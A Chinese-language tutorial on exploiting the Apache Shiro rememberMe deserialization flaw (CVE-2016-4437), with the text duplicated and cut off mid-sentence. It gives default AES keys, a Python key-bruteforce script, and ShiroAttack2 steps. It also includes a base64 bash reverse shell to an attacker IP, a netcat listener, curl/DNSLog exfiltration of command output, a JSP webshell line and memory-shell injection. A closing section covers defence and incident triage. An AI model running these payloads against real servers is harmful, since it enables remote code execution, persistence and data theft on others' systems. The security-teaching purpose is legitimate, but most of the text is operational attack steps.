1. 项目概述为什么Shiro漏洞是攻防演练中的“必争之地”在近几年的网络安全攻防演练和渗透测试实战中Apache Shiro反序列化漏洞几乎成了“兵家必争之地”。我参与过多次大型攻防对抗无论是红队打点还是蓝队溯源Shiro相关的攻击流量和告警日志总是高频出现。这并非偶然而是由Shiro框架本身的应用广泛性、漏洞的“经典性”以及利用链的“稳定性”共同决定的。简单来说Shiro是一个强大且易用的Java安全框架提供了身份认证、授权、加密和会话管理等功能被大量应用于各类Web应用尤其是企业级应用中。而它的“记住我”RememberMe功能所依赖的Cookie序列化与反序列化机制一旦密钥泄露或使用默认密钥就为攻击者打开了一扇直通服务器后台的大门。这个项目标题“攻防打点Shiro漏洞利用大全【附工具】”精准地指向了实战场景。所谓“打点”在红队评估中指的是初期信息收集后寻找并突破边界获取第一个立足点的过程。Shiro漏洞因其利用相对简单、危害直接常导致远程代码执行RCE成为了打点阶段最受青睐的突破口之一。而“大全”则意味着我们需要系统性地梳理从漏洞原理、环境探测、密钥破解、利用链构造到工具化利用形成一个完整的知识体系和操作闭环。本文将基于我多次在真实环境和授权靶场中的实战经验为你拆解Shiro漏洞利用的每一个环节并分享那些在标准漏洞复现文章里不会写的“踩坑”心得和高效工具链。2. Shiro漏洞核心原理与历史脉络解析要真正掌握利用必须先理解其“病根”。Shiro漏洞的核心几乎都围绕着一个名为rememberMe的Cookie。2.1 “记住我”功能背后的安全风险Shiro的“记住我”功能是为了提升用户体验用户登录时勾选“记住我”服务端会生成一个加密的rememberMeCookie发送给浏览器。下次用户访问时浏览器携带此CookieShiro会对其进行解密、反序列化从而重建用户身份实现免登录。这个过程的安全链条非常脆弱序列化与加密Shiro将用户身份信息PrincipalCollection使用Java原生序列化转换成字节流。AES加密使用一个预定义的密钥cipherKey对序列化后的字节流进行AES-CBC加密。Base64编码将加密后的密文进行Base64编码作为Cookie值发送。逆过程服务端收到Cookie后进行Base64解码、AES解密最后对解密得到的字节流进行反序列化。致命弱点就在第4步的反序列化。Java反序列化本身就是一个危险操作如果反序列化的数据是攻击者精心构造的恶意对象并且在应用的ClassPath中存在可利用的链利用链就会触发远程代码执行。2.2 密钥一切漏洞的起点Shiro的AES加密密钥是防御的第一道也是最重要的一道防线。在早期版本Shiro 1.2.4中框架使用了一个硬编码的默认密钥kPHbIxk5D2deZiIxcaaaA。这意味着如果开发人员没有在配置文件中显式地修改shiro.ini或ShiroConfig中的cipherKey那么全球所有使用该版本的应用都使用同一个密钥。攻击者无需任何其他信息直接用这个默认密钥就能尝试攻击。这个漏洞被编号为Shiro-550CVE-2016-4437。即使开发人员修改了密钥如果密钥强度不够例如太短、太简单或者密钥因代码泄露、配置文件泄露而被攻击者获取那么应用同样门户大开。这就是为什么后续出现了许多针对密钥的爆破工具。2.3 利用链解锁RCE的“武器库”仅有密钥还不够我们还需要能将解密后的数据“转化”为代码执行的“武器”这就是反序列化利用链Gadget Chain。Shiro漏洞的利用史也是一部利用链的演进史。CommonsBeanutils链 (CB链)这是早期最经典、最通用的链。它依赖commons-beanutils组件该组件在大量Java Web应用中存在。利用这条链攻击者可以构造一个特殊的对象在反序列化时通过PropertyUtils的getter/setter机制调用任意类的任意方法最终达到执行命令的目的。因其通用性它成为了Shiro漏洞利用的“标配”。CommonsCollections链 (CC链)这是Java反序列化的“鼻祖”级利用链家族如CC1, CC3, CC6等。如果目标环境中存在相应版本的commons-collections组件这些链同样威力巨大。在Shiro的利用中CC链常作为CB链的备选方案。其他链随着攻防升级一些更冷门或在特定框架下存在的链也被挖掘出来例如ROME、Hibernate、Jackson等组件相关的链用于应对目标环境缺少通用链的情况。理解原理后我们就能清晰地看到一条攻击路径探测Shiro应用 - 获取或爆破密钥 - 选择匹配的利用链 - 构造恶意序列化数据 - 加密编码后发送 - 触发反序列化执行命令。3. 实战环境搭建与漏洞探测“工欲善其事必先利其器”。在开始攻击前我们需要一个安全的实验环境。我强烈建议使用Docker来搭建漏洞靶场它隔离性好一键部署非常适合学习和研究。3.1 使用Vulhub快速搭建Shiro靶场Vulhub是一个预置了大量漏洞环境Docker Compose配置的项目极大简化了环境搭建。# 1. 克隆Vulhub项目 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 # 2. 启动靶场环境 docker-compose up -d # 3. 查看服务是否启动通常运行在8080端口 docker-compose ps执行后访问http://your-ip:8080就能看到一个带有登录页面的Shiro应用。这个环境默认使用了硬编码的密钥完美复现了Shiro-550漏洞。注意请务必在虚拟机或隔离的网络环境中进行此操作切勿在公网或公司生产网络搭建和测试以免造成意外风险或法律问题。3.2 如何判断一个站点使用了Shiro在真实打点中第一步是识别目标。Shiro应用有一些指纹特征Cookie特征最明显的标志是返回的HTTP响应头中Set-Cookie字段包含rememberMedeleteMe。当用户注销登录时Shiro会发送此Cookie来清除客户端的rememberMe Cookie。即使没登录在登录页面观察响应头也可能会发现这个特征。URL或页面特征Shiro相关的登录、注销URL可能包含/login/logout 或者由Shiro过滤器管理的路径。错误信息在某些配置下访问未授权页面可能会返回包含“Shiro”或“Unauthorized”等字样的默认错误页。我们可以使用浏览器开发者工具F12的“网络”(Network)选项卡或者使用Burp Suite这类代理工具拦截流量仔细观察响应头来确认。3.3 使用工具进行主动探测手动观察效率低我们可以借助工具。一个经典的探测方法是发送一个无效的rememberMeCookie观察响应差异。使用curl命令curl -v http://target:port/ -H Cookie: rememberMe1或者使用Python脚本import requests url http://target:port/ headers {Cookie: rememberMe1} resp requests.get(url, headersheaders, timeout5) if rememberMedeleteMe in resp.headers.get(Set-Cookie, ): print([] 目标可能使用Shiro框架。) else: print([-] 未发现明显Shiro特征。)如果目标返回了deleteMe这只是一个强提示但并非百分百确定。更准确的方式是结合后续的密钥爆破结果来判断。4. 密钥破解从猜解到高效爆破确认目标可能使用Shiro后下一步就是尝试获取AES加密密钥。这是整个利用过程中技术含量相对较高的一环。4.1 默认密钥与常见密钥字典首先永远是尝试“运气”。除了那个著名的kPHbIxk5D2deZiIxcaaaA框架历史上还有其他一些默认或常见的密钥4AvVhmFLUs0KTA3Kprsdag Z3VucwAAAAAAAAAAAAAAAA fCq/xW488hMTCDcmJ3aQ 1QWLxgNYmxraMoxAXu/Iw 0AvVhmFLUs0KTA3Kprsdag 1AvVhmFLUs0KTA3Kprsdag ... (其他基于常见短语Base64编码的密钥)我们可以手动将这些密钥填入工具进行测试但更高效的方法是使用字典。4.2 使用ShiroAttack2进行密钥爆破ShiroAttack2是一款图形化的集成攻击工具它将探测、密钥爆破、利用链选择、Payload生成等功能集于一身对新手非常友好。操作步骤从GitHub等平台下载ShiroAttack2的JAR包。在命令行运行java -jar ShiroAttack2.jar启动图形界面。在“目标地址”栏输入http://target:port。点击“检测”按钮工具会自动发送探测包并根据响应判断是否为Shiro。在“密钥”选项中选择“爆破密钥”。工具内置了一个强大的密钥字典包含了数十个常见密钥和通过爬取GitHub等公开代码库收集到的数千个真实使用的密钥。点击“开始”运行爆破。爆破原理是工具使用字典中的每个密钥去尝试解密一个固定的、已知的合法rememberMeCookie或构造的测试数据。如果解密成功且反序列化不报错则说明该密钥有效。实战心得爆破速度密钥爆破是计算密集型操作但AES解密速度很快。即使面对数千个密钥的字典通常也能在几分钟内完成。结果判断工具通常会给出“爆破成功”的提示并显示找到的密钥。这是最理想的情况。无结果怎么办如果内置字典爆破失败可能意味着目标使用了完全随机的强密钥。这时漏洞利用就可能止步于此除非能通过其他途径如源码泄露、配置备份文件泄露获取密钥。这也从侧面说明了修改默认密钥并使用强密钥是至关重要的防御措施。4.3 使用Python脚本进行定制化爆破对于喜欢命令行或需要集成到自动化流程中的场景我们可以用Python实现爆破。核心是使用pycryptodome库进行AES解密并捕获反序列化异常。import base64 import requests from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import sys def shiro_key_bruteforce(target_url, key_dict_file): 针对Shiro的密钥爆破脚本 :param target_url: 目标URL :param key_dict_file: 密钥字典文件路径每行一个Base64编码的密钥 # 一个已知的或构造的测试Cookie这里需要替换为一个从目标获取或通用的测试值 # 注意在实际中可能需要先获取一个合法的rememberMe Cookie作为测试样本 test_cookie 此处填入一个Base64编码的rememberMe Cookie值 ciphertext base64.b64decode(test_cookie) with open(key_dict_file, r) as f: keys [line.strip() for line in f if line.strip()] for key_b64 in keys: try: key base64.b64decode(key_b64) cipher AES.new(key, AES.MODE_CBC, ivkey[:16]) # Shiro使用CBC模式IV是密钥的前16字节 decrypted unpad(cipher.decrypt(ciphertext[16:]), AES.block_size) # 前16字节是IV # 如果解密成功且能反序列化这里简单尝试反序列化实际需更严谨 # 为了简化我们假设解密出的数据开头是Java序列化魔数aced0005 if decrypted[:4] b\xac\xed\x00\x05: print(f[] 发现有效密钥: {key_b64}) return key_b64 except Exception as e: # 解密失败或padding错误会抛出异常继续尝试下一个密钥 continue print([-] 密钥爆破失败。) return None # 使用示例 if __name__ __main__: target http://192.168.1.100:8080 dict_file shiro_keys.txt found_key shiro_key_bruteforce(target, dict_file)重要提示上述脚本中的test_cookie需要是一个有效的、从目标网站获取的rememberMeCookie值否则爆破没有意义。获取方式可以通过先正常登录如果有账号并勾选“记住我”或者利用Shiro某些不严谨的报错信息来间接获取。这是一个关键的实操细节。5. 利用链选择与Payload构造拿到密钥后我们就拿到了加密箱子的钥匙。接下来需要选择合适的“武器”利用链放进箱子里让服务器在打开反序列化时触发。5.1 利用链检测不是所有环境都存在可用的利用链。我们需要检测目标应用的ClassPath中是否存在常见的依赖库。ShiroAttack2工具也集成了这个功能。在“利用链”选项区域点击“检测利用链”。工具会使用当前已破解的密钥依次尝试发送不同利用链生成的、但仅用于检测的Payload通常是一个触发延迟的Payload如执行sleep 5。如果服务器响应时间明显变长则说明对应的利用链可用。常见的检测结果可能有CommonsBeanutils1✔️CommonsCollectionsK1✔️CB链TomcatEcho✔️...5.2 命令执行Payload的构造检测到可用链后就可以构造真正的命令执行Payload了。在ShiroAttack2中你只需要在“利用链”下拉框中选择一个检测可用的链如CommonsBeanutils1。在“命令”输入框中填写要执行的系统命令例如whoami、id、ifconfig或更复杂的bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}这是一个Base64编码的反弹Shell命令。点击“攻击”工具会自动完成序列化、加密、编码并将最终的rememberMeCookie发送给目标。底层原理简述 工具内部使用了著名的ysoserial项目或它的变种/重写。ysoserial是一个专门用于生成Java反序列化利用Payload的工具集。当我们选择CommonsBeanutils1链并指定命令whoami时ShiroAttack2会调用相应的模块生成一个恶意的Java对象。这个对象在被反序列化时会通过一系列复杂的Getter/Setter调用最终执行Runtime.getRuntime().exec(whoami)。5.3 回显与无回显利用有回显如果执行的命令结果能直接显示在HTTP响应中例如某些页面会输出错误信息其中包含了命令执行结果这是最理想的情况。ShiroAttack2的“命令执行结果”框会显示出来。无回显盲注大多数情况下命令执行了但输出不会直接返回给HTTP响应。这时我们需要使用其他技术DNSLog外带执行如curl http://your-dnslog-domain/$(whoami|base64)的命令通过DNS查询将命令结果带出。HTTP请求外带使用curl或wget将命令结果发送到我们控制的服务器。反弹Shell这是最有效的方式直接让目标服务器主动连接我们的监听端口建立一个交互式Shell。上面给出的Base64编码命令就是一个典型的Bash反弹Shell Payload。实操避坑指南命令中的空格与特殊字符在构造Payload时空格、管道符|、重定向符等需要特别注意。使用Base64编码是规避这类问题的好方法。ShiroAttack2通常会自动处理。Java Runtime.exec的坑Runtime.exec()并不是启动一个Shell它执行命令的方式与Shell有差异。复杂命令如包含管道、重定向需要以字符串数组形式传递或者直接调用bash -c。工具生成的Payload一般已经妥善处理。利用链兼容性如果CommonsBeanutils1链失败可以尝试其他检测可用的链如CommonsCollectionsK1、CB链TomcatEcho等。不同链对目标环境的依赖略有不同。6. 工具化利用全流程与实战演示让我们串联起所有步骤进行一次完整的、工具辅助的实战演示。假设目标为http://192.168.1.100:8080。6.1 步骤一环境探测与指纹识别使用浏览器或curl访问目标查看响应头。curl -I http://192.168.1.100:8080/login在返回的HTTP头中寻找Set-Cookie: rememberMedeleteMe。如果找到初步判定为Shiro。6.2 步骤二启动ShiroAttack2并加载目标运行java -jar ShiroAttack2.jar。在“目标地址”输入http://192.168.1.100:8080。点击“检测”。工具会发送多个探测包并在日志区域显示[] 目标存在Shiro框架特征。6.3 步骤三爆破加密密钥在“密钥”模块选择“爆破密钥”。点击“开始”。工具会使用内置字典进行爆破。等待片刻日志区域显示[] 密钥爆破成功kPHbIxk5D2deZiIxcaaaA。成功获取密钥。6.4 步骤四检测可利用的链在“利用链”模块点击“检测利用链”。工具会依次尝试CB、CC等链的检测Payload通常是sleep命令。检测完成在“利用链”下拉框中可以看到可用的选项例如[] CommonsBeanutils1 利用链可用。6.5 步骤五执行命令并获取回显在“利用链”下拉框选择CommonsBeanutils1。在“命令”输入框输入whoami。点击“攻击”。观察下方“命令执行结果”区域。如果漏洞存在且命令执行成功可能会显示root或tomcat等用户名。但很多情况下由于Web应用运行在无回显环境这里可能是空的。6.6 步骤六无回显下的利用——反弹Shell由于上一步无回显我们需要获取一个交互式Shell。在攻击机上假设IP为192.168.1.50使用Netcat监听一个端口nc -lvnp 4444构造一个反弹Shell的Bash命令并对其进行Base64编码echo bash -i /dev/tcp/192.168.1.50/4444 01 | base64 # 输出YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx在ShiroAttack2的“命令”输入框中输入解码并执行该命令的指令bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}点击“攻击”。回到Netcat监听窗口如果成功你会看到来自目标服务器的Shell连接提示可以执行whoamipwdls等命令进行验证。至此我们完成了从探测到获取Shell的完整流程。7. 高级利用技巧与深度绕过在实战和更高强度的防守环境下可能会遇到一些障碍需要更高级的技巧。7.1 利用链的扩展与内存马注入直接执行命令虽然有效但重启即失效。内存WebShell内存马提供了更持久的后门。其原理是利用漏洞执行代码向当前运行的Java Web容器如Tomcat、Spring动态注册一个恶意的Filter、Servlet或Controller这个恶意组件会拦截特定请求执行攻击者指令。工具实现ShiroAttack2等高级工具已经集成了内存马注入功能。例如选择“利用链”为CB链TomcatEcho或BehinderFilter冰蝎内存马并配置好连接密码和路径攻击后就会在目标Tomcat中注入一个Filter型内存马。之后攻击者可以使用客户端如冰蝎、蚁剑直接连接这个路径进行文件管理、命令执行等操作且重启后失效隐蔽性强。防御视角内存马是蓝队检测的难点需要依靠RASP运行时应用自保护、Agent内存扫描或流量分析来发现异常。7.2 密钥的进一步获取思路如果字典爆破失败还有哪些思路源码泄露通过.git目录泄露、DS_Store文件、备份文件如web.zipapp.tar.gz、配置文件名猜测application.propertiesshiro.ini等尝试下载源码或配置文件从中寻找cipherKey配置项。环境信息泄露某些不当的异常处理可能会将部分密钥或堆栈信息打印到错误页面或日志中。旁站或同框架应用如果目标是一个大型应用集群其他子站或服务可能使用了相同的密钥。7.3 不出网场景下的利用在内网渗透中目标服务器可能无法访问外网不出网导致DNSLog、HTTP外带、反弹Shell均失效。写入WebShell如果可以执行命令并且知道Web应用的绝对路径可以尝试直接写入一个JSP或JSPX的WebShell文件。echo % Runtime.getRuntime().exec(request.getParameter(cmd)); % /tmp/shell.jsp # 然后需要想办法将文件移动到web目录如 /var/www/html/端口复用与流量转发利用已建立的通道如果存在其他入口进行流量转发。利用现有服务尝试连接内网其他数据库、服务等进行横向移动。8. 防御措施与排查建议蓝队视角作为防御方了解攻击手法是为了更好地防护。8.1 根本性修复方案升级Shiro版本及时升级到最新安全版本如1.13.0新版本不仅修复了已知漏洞还提供了更安全的默认配置。使用强密钥并妥善保管在配置中必须显式设置cipherKey并使用安全的随机生成算法如AES-256生成足够长且复杂的密钥并像保护密码一样保护它。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey your_strong_random_base64_encoded_key_here禁用RememberMe功能如果业务不需要直接在配置中关闭此功能。升级依赖库及时升级commons-beanutilscommons-collections等组件到无危险利用链的版本。8.2 运行时防护与检测WAF/IDS/IPS规则部署规则拦截包含特征如rememberMeCookie过长、包含特定序列化魔数的请求。RASP运行时应用自保护在应用内部植入探针实时监控反序列化、命令执行、文件读写等危险行为并可直接阻断。流量审计与日志分析集中收集Web访问日志和应用日志监控异常的rememberMeCookie请求、大量的解密失败错误可能为爆破行为以及非常规的命令执行日志。内存马检测定期使用专业工具或脚本扫描Java进程内存查找异常的Filter、Servlet或Controller映射。8.3 应急排查清单如果怀疑系统已被入侵可按照以下步骤排查检查日志立即审查应用日志、Web服务器访问日志搜索rememberMe、Runtime.exec、ProcessBuilder等关键词。检查进程与网络连接使用netstat -antp或ss -antp查看是否有可疑的外连或监听端口。使用ps aux查看是否有异常Java进程或命令。检查Web目录查找近期新增的、可疑的JSP/JSPX文件特别是位于上传目录或临时目录的。检查计划任务查看crontab -l和/etc/cron.d/等位置是否有恶意任务。使用专业工具扫描使用如Java-memshell-scanner等工具对运行中的Java应用进行内存马扫描。Shiro漏洞的攻防是一场关于“密钥”和“利用链”的博弈。红队需要不断地丰富密钥字典、挖掘新的利用链而蓝队则需要坚决地使用强密钥、升级组件、并部署纵深检测体系。理解这套完整的流程无论是为了在授权范围内进行有效的安全测试还是为了构建更稳固的防御都至关重要。在实战中每一个环节都可能遇到意想不到的问题多搭建环境练习多思考异常情况的处理经验就是在一次次“踩坑”和“排坑”中积累起来的。
Shiro反序列化漏洞原理与实战利用全解析
发布时间:2026/6/26 6:55:56
1. 项目概述为什么Shiro漏洞是攻防演练中的“必争之地”在近几年的网络安全攻防演练和渗透测试实战中Apache Shiro反序列化漏洞几乎成了“兵家必争之地”。我参与过多次大型攻防对抗无论是红队打点还是蓝队溯源Shiro相关的攻击流量和告警日志总是高频出现。这并非偶然而是由Shiro框架本身的应用广泛性、漏洞的“经典性”以及利用链的“稳定性”共同决定的。简单来说Shiro是一个强大且易用的Java安全框架提供了身份认证、授权、加密和会话管理等功能被大量应用于各类Web应用尤其是企业级应用中。而它的“记住我”RememberMe功能所依赖的Cookie序列化与反序列化机制一旦密钥泄露或使用默认密钥就为攻击者打开了一扇直通服务器后台的大门。这个项目标题“攻防打点Shiro漏洞利用大全【附工具】”精准地指向了实战场景。所谓“打点”在红队评估中指的是初期信息收集后寻找并突破边界获取第一个立足点的过程。Shiro漏洞因其利用相对简单、危害直接常导致远程代码执行RCE成为了打点阶段最受青睐的突破口之一。而“大全”则意味着我们需要系统性地梳理从漏洞原理、环境探测、密钥破解、利用链构造到工具化利用形成一个完整的知识体系和操作闭环。本文将基于我多次在真实环境和授权靶场中的实战经验为你拆解Shiro漏洞利用的每一个环节并分享那些在标准漏洞复现文章里不会写的“踩坑”心得和高效工具链。2. Shiro漏洞核心原理与历史脉络解析要真正掌握利用必须先理解其“病根”。Shiro漏洞的核心几乎都围绕着一个名为rememberMe的Cookie。2.1 “记住我”功能背后的安全风险Shiro的“记住我”功能是为了提升用户体验用户登录时勾选“记住我”服务端会生成一个加密的rememberMeCookie发送给浏览器。下次用户访问时浏览器携带此CookieShiro会对其进行解密、反序列化从而重建用户身份实现免登录。这个过程的安全链条非常脆弱序列化与加密Shiro将用户身份信息PrincipalCollection使用Java原生序列化转换成字节流。AES加密使用一个预定义的密钥cipherKey对序列化后的字节流进行AES-CBC加密。Base64编码将加密后的密文进行Base64编码作为Cookie值发送。逆过程服务端收到Cookie后进行Base64解码、AES解密最后对解密得到的字节流进行反序列化。致命弱点就在第4步的反序列化。Java反序列化本身就是一个危险操作如果反序列化的数据是攻击者精心构造的恶意对象并且在应用的ClassPath中存在可利用的链利用链就会触发远程代码执行。2.2 密钥一切漏洞的起点Shiro的AES加密密钥是防御的第一道也是最重要的一道防线。在早期版本Shiro 1.2.4中框架使用了一个硬编码的默认密钥kPHbIxk5D2deZiIxcaaaA。这意味着如果开发人员没有在配置文件中显式地修改shiro.ini或ShiroConfig中的cipherKey那么全球所有使用该版本的应用都使用同一个密钥。攻击者无需任何其他信息直接用这个默认密钥就能尝试攻击。这个漏洞被编号为Shiro-550CVE-2016-4437。即使开发人员修改了密钥如果密钥强度不够例如太短、太简单或者密钥因代码泄露、配置文件泄露而被攻击者获取那么应用同样门户大开。这就是为什么后续出现了许多针对密钥的爆破工具。2.3 利用链解锁RCE的“武器库”仅有密钥还不够我们还需要能将解密后的数据“转化”为代码执行的“武器”这就是反序列化利用链Gadget Chain。Shiro漏洞的利用史也是一部利用链的演进史。CommonsBeanutils链 (CB链)这是早期最经典、最通用的链。它依赖commons-beanutils组件该组件在大量Java Web应用中存在。利用这条链攻击者可以构造一个特殊的对象在反序列化时通过PropertyUtils的getter/setter机制调用任意类的任意方法最终达到执行命令的目的。因其通用性它成为了Shiro漏洞利用的“标配”。CommonsCollections链 (CC链)这是Java反序列化的“鼻祖”级利用链家族如CC1, CC3, CC6等。如果目标环境中存在相应版本的commons-collections组件这些链同样威力巨大。在Shiro的利用中CC链常作为CB链的备选方案。其他链随着攻防升级一些更冷门或在特定框架下存在的链也被挖掘出来例如ROME、Hibernate、Jackson等组件相关的链用于应对目标环境缺少通用链的情况。理解原理后我们就能清晰地看到一条攻击路径探测Shiro应用 - 获取或爆破密钥 - 选择匹配的利用链 - 构造恶意序列化数据 - 加密编码后发送 - 触发反序列化执行命令。3. 实战环境搭建与漏洞探测“工欲善其事必先利其器”。在开始攻击前我们需要一个安全的实验环境。我强烈建议使用Docker来搭建漏洞靶场它隔离性好一键部署非常适合学习和研究。3.1 使用Vulhub快速搭建Shiro靶场Vulhub是一个预置了大量漏洞环境Docker Compose配置的项目极大简化了环境搭建。# 1. 克隆Vulhub项目 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 # 2. 启动靶场环境 docker-compose up -d # 3. 查看服务是否启动通常运行在8080端口 docker-compose ps执行后访问http://your-ip:8080就能看到一个带有登录页面的Shiro应用。这个环境默认使用了硬编码的密钥完美复现了Shiro-550漏洞。注意请务必在虚拟机或隔离的网络环境中进行此操作切勿在公网或公司生产网络搭建和测试以免造成意外风险或法律问题。3.2 如何判断一个站点使用了Shiro在真实打点中第一步是识别目标。Shiro应用有一些指纹特征Cookie特征最明显的标志是返回的HTTP响应头中Set-Cookie字段包含rememberMedeleteMe。当用户注销登录时Shiro会发送此Cookie来清除客户端的rememberMe Cookie。即使没登录在登录页面观察响应头也可能会发现这个特征。URL或页面特征Shiro相关的登录、注销URL可能包含/login/logout 或者由Shiro过滤器管理的路径。错误信息在某些配置下访问未授权页面可能会返回包含“Shiro”或“Unauthorized”等字样的默认错误页。我们可以使用浏览器开发者工具F12的“网络”(Network)选项卡或者使用Burp Suite这类代理工具拦截流量仔细观察响应头来确认。3.3 使用工具进行主动探测手动观察效率低我们可以借助工具。一个经典的探测方法是发送一个无效的rememberMeCookie观察响应差异。使用curl命令curl -v http://target:port/ -H Cookie: rememberMe1或者使用Python脚本import requests url http://target:port/ headers {Cookie: rememberMe1} resp requests.get(url, headersheaders, timeout5) if rememberMedeleteMe in resp.headers.get(Set-Cookie, ): print([] 目标可能使用Shiro框架。) else: print([-] 未发现明显Shiro特征。)如果目标返回了deleteMe这只是一个强提示但并非百分百确定。更准确的方式是结合后续的密钥爆破结果来判断。4. 密钥破解从猜解到高效爆破确认目标可能使用Shiro后下一步就是尝试获取AES加密密钥。这是整个利用过程中技术含量相对较高的一环。4.1 默认密钥与常见密钥字典首先永远是尝试“运气”。除了那个著名的kPHbIxk5D2deZiIxcaaaA框架历史上还有其他一些默认或常见的密钥4AvVhmFLUs0KTA3Kprsdag Z3VucwAAAAAAAAAAAAAAAA fCq/xW488hMTCDcmJ3aQ 1QWLxgNYmxraMoxAXu/Iw 0AvVhmFLUs0KTA3Kprsdag 1AvVhmFLUs0KTA3Kprsdag ... (其他基于常见短语Base64编码的密钥)我们可以手动将这些密钥填入工具进行测试但更高效的方法是使用字典。4.2 使用ShiroAttack2进行密钥爆破ShiroAttack2是一款图形化的集成攻击工具它将探测、密钥爆破、利用链选择、Payload生成等功能集于一身对新手非常友好。操作步骤从GitHub等平台下载ShiroAttack2的JAR包。在命令行运行java -jar ShiroAttack2.jar启动图形界面。在“目标地址”栏输入http://target:port。点击“检测”按钮工具会自动发送探测包并根据响应判断是否为Shiro。在“密钥”选项中选择“爆破密钥”。工具内置了一个强大的密钥字典包含了数十个常见密钥和通过爬取GitHub等公开代码库收集到的数千个真实使用的密钥。点击“开始”运行爆破。爆破原理是工具使用字典中的每个密钥去尝试解密一个固定的、已知的合法rememberMeCookie或构造的测试数据。如果解密成功且反序列化不报错则说明该密钥有效。实战心得爆破速度密钥爆破是计算密集型操作但AES解密速度很快。即使面对数千个密钥的字典通常也能在几分钟内完成。结果判断工具通常会给出“爆破成功”的提示并显示找到的密钥。这是最理想的情况。无结果怎么办如果内置字典爆破失败可能意味着目标使用了完全随机的强密钥。这时漏洞利用就可能止步于此除非能通过其他途径如源码泄露、配置备份文件泄露获取密钥。这也从侧面说明了修改默认密钥并使用强密钥是至关重要的防御措施。4.3 使用Python脚本进行定制化爆破对于喜欢命令行或需要集成到自动化流程中的场景我们可以用Python实现爆破。核心是使用pycryptodome库进行AES解密并捕获反序列化异常。import base64 import requests from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import sys def shiro_key_bruteforce(target_url, key_dict_file): 针对Shiro的密钥爆破脚本 :param target_url: 目标URL :param key_dict_file: 密钥字典文件路径每行一个Base64编码的密钥 # 一个已知的或构造的测试Cookie这里需要替换为一个从目标获取或通用的测试值 # 注意在实际中可能需要先获取一个合法的rememberMe Cookie作为测试样本 test_cookie 此处填入一个Base64编码的rememberMe Cookie值 ciphertext base64.b64decode(test_cookie) with open(key_dict_file, r) as f: keys [line.strip() for line in f if line.strip()] for key_b64 in keys: try: key base64.b64decode(key_b64) cipher AES.new(key, AES.MODE_CBC, ivkey[:16]) # Shiro使用CBC模式IV是密钥的前16字节 decrypted unpad(cipher.decrypt(ciphertext[16:]), AES.block_size) # 前16字节是IV # 如果解密成功且能反序列化这里简单尝试反序列化实际需更严谨 # 为了简化我们假设解密出的数据开头是Java序列化魔数aced0005 if decrypted[:4] b\xac\xed\x00\x05: print(f[] 发现有效密钥: {key_b64}) return key_b64 except Exception as e: # 解密失败或padding错误会抛出异常继续尝试下一个密钥 continue print([-] 密钥爆破失败。) return None # 使用示例 if __name__ __main__: target http://192.168.1.100:8080 dict_file shiro_keys.txt found_key shiro_key_bruteforce(target, dict_file)重要提示上述脚本中的test_cookie需要是一个有效的、从目标网站获取的rememberMeCookie值否则爆破没有意义。获取方式可以通过先正常登录如果有账号并勾选“记住我”或者利用Shiro某些不严谨的报错信息来间接获取。这是一个关键的实操细节。5. 利用链选择与Payload构造拿到密钥后我们就拿到了加密箱子的钥匙。接下来需要选择合适的“武器”利用链放进箱子里让服务器在打开反序列化时触发。5.1 利用链检测不是所有环境都存在可用的利用链。我们需要检测目标应用的ClassPath中是否存在常见的依赖库。ShiroAttack2工具也集成了这个功能。在“利用链”选项区域点击“检测利用链”。工具会使用当前已破解的密钥依次尝试发送不同利用链生成的、但仅用于检测的Payload通常是一个触发延迟的Payload如执行sleep 5。如果服务器响应时间明显变长则说明对应的利用链可用。常见的检测结果可能有CommonsBeanutils1✔️CommonsCollectionsK1✔️CB链TomcatEcho✔️...5.2 命令执行Payload的构造检测到可用链后就可以构造真正的命令执行Payload了。在ShiroAttack2中你只需要在“利用链”下拉框中选择一个检测可用的链如CommonsBeanutils1。在“命令”输入框中填写要执行的系统命令例如whoami、id、ifconfig或更复杂的bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}这是一个Base64编码的反弹Shell命令。点击“攻击”工具会自动完成序列化、加密、编码并将最终的rememberMeCookie发送给目标。底层原理简述 工具内部使用了著名的ysoserial项目或它的变种/重写。ysoserial是一个专门用于生成Java反序列化利用Payload的工具集。当我们选择CommonsBeanutils1链并指定命令whoami时ShiroAttack2会调用相应的模块生成一个恶意的Java对象。这个对象在被反序列化时会通过一系列复杂的Getter/Setter调用最终执行Runtime.getRuntime().exec(whoami)。5.3 回显与无回显利用有回显如果执行的命令结果能直接显示在HTTP响应中例如某些页面会输出错误信息其中包含了命令执行结果这是最理想的情况。ShiroAttack2的“命令执行结果”框会显示出来。无回显盲注大多数情况下命令执行了但输出不会直接返回给HTTP响应。这时我们需要使用其他技术DNSLog外带执行如curl http://your-dnslog-domain/$(whoami|base64)的命令通过DNS查询将命令结果带出。HTTP请求外带使用curl或wget将命令结果发送到我们控制的服务器。反弹Shell这是最有效的方式直接让目标服务器主动连接我们的监听端口建立一个交互式Shell。上面给出的Base64编码命令就是一个典型的Bash反弹Shell Payload。实操避坑指南命令中的空格与特殊字符在构造Payload时空格、管道符|、重定向符等需要特别注意。使用Base64编码是规避这类问题的好方法。ShiroAttack2通常会自动处理。Java Runtime.exec的坑Runtime.exec()并不是启动一个Shell它执行命令的方式与Shell有差异。复杂命令如包含管道、重定向需要以字符串数组形式传递或者直接调用bash -c。工具生成的Payload一般已经妥善处理。利用链兼容性如果CommonsBeanutils1链失败可以尝试其他检测可用的链如CommonsCollectionsK1、CB链TomcatEcho等。不同链对目标环境的依赖略有不同。6. 工具化利用全流程与实战演示让我们串联起所有步骤进行一次完整的、工具辅助的实战演示。假设目标为http://192.168.1.100:8080。6.1 步骤一环境探测与指纹识别使用浏览器或curl访问目标查看响应头。curl -I http://192.168.1.100:8080/login在返回的HTTP头中寻找Set-Cookie: rememberMedeleteMe。如果找到初步判定为Shiro。6.2 步骤二启动ShiroAttack2并加载目标运行java -jar 